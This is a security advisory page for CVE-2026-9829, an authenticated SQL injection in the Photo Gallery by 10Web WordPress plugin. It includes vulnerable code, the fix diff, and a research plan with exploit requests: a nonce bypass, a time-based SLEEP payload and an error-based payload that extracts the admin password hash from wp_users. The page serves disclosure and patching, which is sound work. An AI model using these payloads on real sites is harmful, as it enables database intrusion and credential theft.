CVE-2026-9829

Photo Gallery by 10Web <= 1.8.41 - Authenticated (Contributor+) SQL Injection via 'compact_album_order_by' Shortcode Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.8.42
Patched in
1d
Time to patch

Description

The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to time-based SQL Injection via 'compact_album_order_by' Shortcode Parameter in all versions up to, and including, 1.8.41 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The malicious payload is stored via the 'shortcode_bwg' AJAX handler — accessible to Contributor-level users and exploitable without a valid nonce by omitting the 'page' parameter — and is subsequently triggered by the unauthenticated 'bwg_frontend_data' AJAX handler, meaning successful exploitation requires only that an attacker has Contributor-level access to save the shortcode.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.8.41
PublishedJune 5, 2026
Last updatedJune 6, 2026
Affected pluginphoto-gallery

What Changed in the Fix

Changes introduced in v1.8.42

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps to verify the SQL injection vulnerability (CVE-2026-9829) in the **Photo Gallery by 10Web** plugin (version <= 1.8.41). ### 1. Vulnerability Summary The vulnerability is a time-based SQL injection located in the `get_alb_gals_row` method within `front…

Show full research plan

This research plan outlines the technical steps to verify the SQL injection vulnerability (CVE-2026-9829) in the Photo Gallery by 10Web plugin (version <= 1.8.41).

1. Vulnerability Summary

The vulnerability is a time-based SQL injection located in the get_alb_gals_row method within frontend/models/model.php. The plugin fails to sanitize or prepare the $order_by parameter before concatenating it into a SQL query.

While the injection occurs during frontend display, the malicious payload is "pre-seeded" into the database via a shortcode configuration handler. A Contributor-level user can save a crafted shortcode attribute (compact_album_order_by) containing SQL commands. Because the configuration saving logic fails to check nonces when the page parameter is omitted, and the frontend trigger is unauthenticated, the vulnerability can be exploited with minimal privileges.

2. Attack Vector Analysis

  • Initial Entry Point (Storage): wp-admin/admin-ajax.php using the shortcode_bwg action.
  • Trigger Entry Point (Execution): wp-admin/admin-ajax.php using the bwg_frontend_data action (Unauthenticated).
  • Vulnerable Parameter: compact_album_order_by (passed inside the tagtext shortcode string).
  • Authentication: Requires Contributor level credentials to save the shortcode, but no authentication to trigger the execution.
  • Preconditions: A valid Gallery must exist in the plugin to ensure the vulnerable code path in get_alb_gals_row is executed.

3. Code Flow

  1. Storage Phase:
    • The user sends a request to admin-ajax.php?action=shortcode_bwg&task=save.
    • ShortcodeController_bwg::execute() is called.
    • The controller checks $this->from_menu. This is only TRUE if the page parameter is exactly 'shortcode_bwg'. By omitting page, $this->from_menu becomes FALSE, bypassing the WDWLibrary::verify_nonce check.
    • ShortcodeController_bwg::save() is called. It retrieves tagtext (the shortcode string) and currrent_id (the ID to save under).
    • The payload is stored in the {$wpdb->prefix}bwg_shortcode table.
  2. Trigger Phase:
    • An unauthenticated user requests admin-ajax.php?action=bwg_frontend_data.
    • BWG::frontend_data() (in photo-gallery.php) is executed.
    • The model method BWGModelSite::get_alb_gals_row is eventually invoked.
    • The parameter $order_by (derived from the saved shortcode attribute) is used in the following concatenation:
      $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by;
      // ...
      $sql = $query . ' ' . $order_by . ' ' . $limit_str;
      $rows = $wpdb->get_results($sql);
      
    • The arbitrary SQL in $order_by is executed by $wpdb->get_results().

4. Nonce Acquisition Strategy

The vulnerability description explicitly states that the shortcode_bwg AJAX handler is exploitable without a valid nonce by omitting the page parameter.

  • Logic: In ShortcodeController_bwg::__construct, the $from_menu flag is set based on the page parameter. In execute(), the nonce is only verified if $from_menu is true.
  • Strategy: Simply omit the page parameter in the shortcode_bwg request. No nonce is needed.

5. Exploitation Strategy

Step 1: Seed the Malicious Shortcode

Use a Contributor account to save a shortcode configuration containing the time-based payload.

  • Tool: http_request
  • Method: POST
  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php?action=shortcode_bwg
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    task=save&bwg_insert=1&currrent_id=1337&tagtext=[Best_Wordpress_Gallery id="1337" type="album" album_id="1" compact_album_order_by="ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)"]
    
    Note: currrent_id is intentionally misspelled to match the source code variable.

Step 2: Trigger the SQL Injection

Request the frontend data for the seeded shortcode ID. This step is unauthenticated.

  • Tool: http_request
  • Method: POST
  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Body:
    action=bwg_frontend_data&shortcode_id=1337&page_number_0=1&albums_per_page_0=10
    
    (Note: Parameters like page_number_0 are often required by the plugin to reach the query logic).

6. Test Data Setup

  1. Create a Gallery: Use WP-CLI to ensure at least one gallery exists.
    wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'bwg_gallery', array('name' => 'Test Gallery', 'slug' => 'test-gallery', 'published' => 1));"
    
  2. Create an Album: Ensure an album exists to be targeted by the shortcode.
    wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'bwg_album', array('name' => 'Test Album', 'slug' => 'test-album', 'published' => 1));"
    
  3. Create Contributor:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    

7. Expected Results

  • Step 1: Should return a 200 OK (often with a 0 or 1 response body).
  • Step 2: The HTTP response should be delayed by approximately 5 seconds. This confirms the SLEEP(5) command was executed by the database.

8. Verification Steps

After the http_request in Step 2, check the plugin's shortcode table to verify the payload was indeed stored:

wp db query "SELECT tagtext FROM wp_bwg_shortcode WHERE id=1337"

Also, verify the query log (if enabled) or check the response time of a control request (without SLEEP) to ensure the 5-second delay was unique to the attack payload.

9. Alternative Approaches

If time-based injection is filtered, attempt Error-based Injection by inducing a syntax error inside the order_by parameter and checking if the response contains database errors:

  • Payload: compact_album_order_by="ASC, (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)))a)"
  • Condition: This requires WP_DEBUG to be enabled or the plugin to explicitly output $wpdb->last_error.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Photo Gallery by 10Web plugin for WordPress is vulnerable to a time-based SQL Injection via the 'compact_album_order_by' shortcode attribute. A Contributor-level attacker can store a malicious payload in the plugin's shortcode table by bypassing a nonce check in the 'shortcode_bwg' AJAX handler, which is later executed by any user (including unauthenticated visitors) via the 'bwg_frontend_data' AJAX handler.

Vulnerable Code

// admin/controllers/Shortcode.php - Nonce bypass if 'page' is omitted
public function execute() {
    $task = WDWLibrary::get('task');
    if ( $task != '' && $this->from_menu ) {
      if ( !WDWLibrary::verify_nonce(BWG()->nonce) ) {
        die('Sorry, your nonce did not verify.');
      }
    }
    // ...
}

// admin/controllers/Shortcode.php - Lack of sanitization before storage
public function save() {
    global $wpdb;
    $tagtext = WDWLibrary::get('tagtext');
    if ($tagtext) {
      $id = WDWLibrary::get('currrent_id', 0, 'intval');
      $insert = WDWLibrary::get('bwg_insert', 0, 'intval');
      if (!$insert) {
        $wpdb->update($wpdb->prefix . 'bwg_shortcode', array('tagtext' => $tagtext), array('id' => $id), array('%s'), array('%d'));
      } else {
        $wpdb->insert($wpdb->prefix . 'bwg_shortcode', array('id' => $id, 'tagtext' => $tagtext), array('%d', '%s'));
      }
    }
}

---

// frontend/models/model.php - SQL Injection point
public function get_alb_gals_row( $bwg, $id, $albums_per_page, $sort_by, $order_by, $pagination_type = 0, $from = '' ) {
    // ...
    global $wpdb;
    $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by;
    // ...
    $sql = $query . $limitation;
    $rows = $wpdb->get_results($sql); // Vulnerable concatenation
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/photo-gallery/1.8.41/admin/controllers/Shortcode.php /home/deploy/wp-safety.org/data/plugin-versions/photo-gallery/1.8.42/admin/controllers/Shortcode.php
--- /home/deploy/wp-safety.org/data/plugin-versions/photo-gallery/1.8.41/admin/controllers/Shortcode.php	2022-06-16 06:23:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/photo-gallery/1.8.42/admin/controllers/Shortcode.php	2026-05-29 16:34:32.000000000 +0000
@@ -11,7 +11,7 @@
 
   public function execute() {
     $task = WDWLibrary::get('task');
-    if ( $task != '' && $this->from_menu ) {
+    if ( $task != '' && ( $this->from_menu || $task === 'save' ) ) {
       if ( !WDWLibrary::verify_nonce(BWG()->nonce) ) {
         die('Sorry, your nonce did not verify.');
       }
@@ -58,6 +58,7 @@
     global $wpdb;
     $tagtext = WDWLibrary::get('tagtext');
     if ($tagtext) {
+      $tagtext = WDWLibrary::sanitize_shortcode_tagtext( $tagtext );
       /* clear tags */
       $tagtext = " " . $tagtext;
       $id = WDWLibrary::get('currrent_id', 0, 'intval');
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/photo-gallery/1.8.41/frontend/models/model.php /home/deploy/wp-safety.org/data/plugin-versions/photo-gallery/1.8.42/frontend/models/model.php
--- /home/deploy/wp-safety.org/data/plugin-versions/photo-gallery/1.8.41/frontend/models/model.php	2022-12-17 18:33:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/photo-gallery/1.8.42/frontend/models/model.php	2026-05-29 16:34:32.000000000 +0000
@@ -110,10 +110,14 @@
       $albums_per_page = 0;
     }
     global $wpdb;
-    $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by;
-    if ( $sort_by == 'random' || $sort_by == 'RAND()' ) {
+    $sort_by = WDWLibrary::sanitize_album_sort_column( $sort_by, $from );
+    $sort_direction = WDWLibrary::sanitize_sort_direction( $order_by );
+    if ( $sort_by === 'random' ) {
       $order_by = 'ORDER BY RAND()';
     }
+    else {
+      $order_by = 'ORDER BY `' . $sort_by . '` ' . $sort_direction;
+    }

Exploit Outline

The exploit is a two-step process. First, an attacker with Contributor-level access sends an AJAX request to 'wp-admin/admin-ajax.php?action=shortcode_bwg' with the 'task' set to 'save'. By omitting the 'page' parameter, the attacker bypasses the plugin's nonce check. The payload is placed within the 'tagtext' parameter as a shortcode attribute like [Best_Wordpress_Gallery compact_album_order_by="ASC, (SELECT SLEEP(5))"]. Second, the attacker triggers the SQL injection by making an unauthenticated request to 'admin-ajax.php?action=bwg_frontend_data' and providing the 'shortcode_id' of the previously saved shortcode. The plugin retrieves the malicious 'tagtext', parses the attributes, and concatenates the 'order_by' value directly into a database query, resulting in time-based SQL execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.